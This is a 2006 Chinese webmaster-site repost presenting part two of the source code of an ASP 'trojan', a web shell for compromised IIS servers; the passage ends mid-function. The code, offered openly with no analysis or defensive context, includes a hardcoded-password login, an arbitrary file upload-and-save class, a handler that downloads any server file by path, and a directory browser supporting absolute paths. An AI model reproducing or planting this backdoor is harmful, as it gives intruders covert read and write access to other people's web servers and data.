当前位置:中国站长下载文章中心网页编程ASP编程 → 一个ASP木马程序的源代码(2)

一个ASP木马程序的源代码(2)

减小字体 增大字体 作者:不详  来源:不详  发布时间:2006-8-13 0:33:19
     Private function GetFilePath(FullPath)
  If FullPath <> "" Then
  GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
  Else
  GetFilePath = ""
  End If
  End function
  
  Private function GetFileName(FullPath)
  If FullPath <> "" Then
  GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
  Else
  GetFileName = ""
  End If
  End function
  End Class
  
  Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart
  Private Sub Class_Initialize
  FileName = ""
  FilePath = ""
  FileSize = 0
  FileStart= 0
  FormName = ""
  FileType = ""
  End Sub
  
  Public function SaveAs(FullPath)
  dim dr,ErrorChar,i
  SaveAs=true
  if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
  set dr=CreateObject("Adodb.Stream")
  dr.Mode=3
  dr.Type=1
  dr.Open
  Data_5xsoft.position=FileStart
  Data_5xsoft.copyto dr,FileSize
  dr.SaveToFile FullPath,2
  dr.Close
  set dr=nothing
  SaveAs=false
  end function
  End Class
  httpt = Request.ServerVariables("server_name")
  rseb=Request.ServerVariables("SCRIPT_NAME")
  q=request("q")
  if q="" then q=rseb
  select case q
  case rseb
  if Epass(trim(request.form("password")))="q_ux888556" then
  response.cookies("password")="7758521"
  response.redirect rseb & "?q=list.ASP"
  else %>
  <html>
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <title><%=httpt%></title>
  <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
  </head>
  
  <body>
  <%if request.form("password")<>"" then
  response.write "Password Error!"
  end if
  %>
  
  <table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
  bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
  <tr>
  <td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
  </tr>
  <tr>
  <td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
  <div align="center"><center><p>Enter Password:<input type="password" name="password"
  size="20"
  style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
  <input type="submit" value="OK!LOGIN" name="B1"
  style="font-size: 9pt; border: thin outset"></p>
  </center></div>
  </form>
  </td>
  </tr>
  </table>
  </body>
  </html>
  <%end if%>
  
  <%case "down.asp"
  call downloadFile(request("path"))
  function downloadFile(strFile)
  strFilename = strFile
  Response.Buffer = True
  Response.Clear
  set s = Server.CreateObject("adodb.stream")
  s.Open
  s.Type = 1
  if not oFileSys.FileExists(strFilename) then
  Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
  Response.End
  end if
  Set f = oFileSys.GetFile(strFilename)
  intFilelength = f.size
  s.LoadFromFile(strFilename)
  if err then
  Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
  Response.End
  end if
  Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
  Response.AddHeader "Content-Length", intFilelength
  Response.CharSet = "UTF-8"
  Response.ContentType = "application/octet-stream"
  Response.BinaryWrite s.Read
  Response.Flush
  s.Close
  Set s = Nothing
  response.end
  End Function
  %>
  <%case "list.asp"%>
  <%
  urlpath=server.urlencode(path)
  if Request.Cookies("password")="7758521" then
  dim cpath,lpath
  if Request("path")="" then
  lpath="/"
  else
  lpath=Request("path")&"/"
  end if
  if Request("attrib")="true" then
  cpath=lpath
  attrib="true"
  else
  cpath=Server.MapPath(lpath)
  attrib=""
  end if
  Sub GetFolder()
  dim theFolder,theSubFolders
  if oFileSys.FolderExists(cpath)then
  Set theFolder=oFileSys.GetFolder(cpath)
  Set theSubFolders=theFolder.SubFolders
  Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=VBScript>"
  For Each x In theSubFolders
  %>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
  <%
  Next
  %></script><%
  end if
  End Sub
  
    做人要厚道,请注明转自chinazhan中国站长(www.ChinaZhan.com)。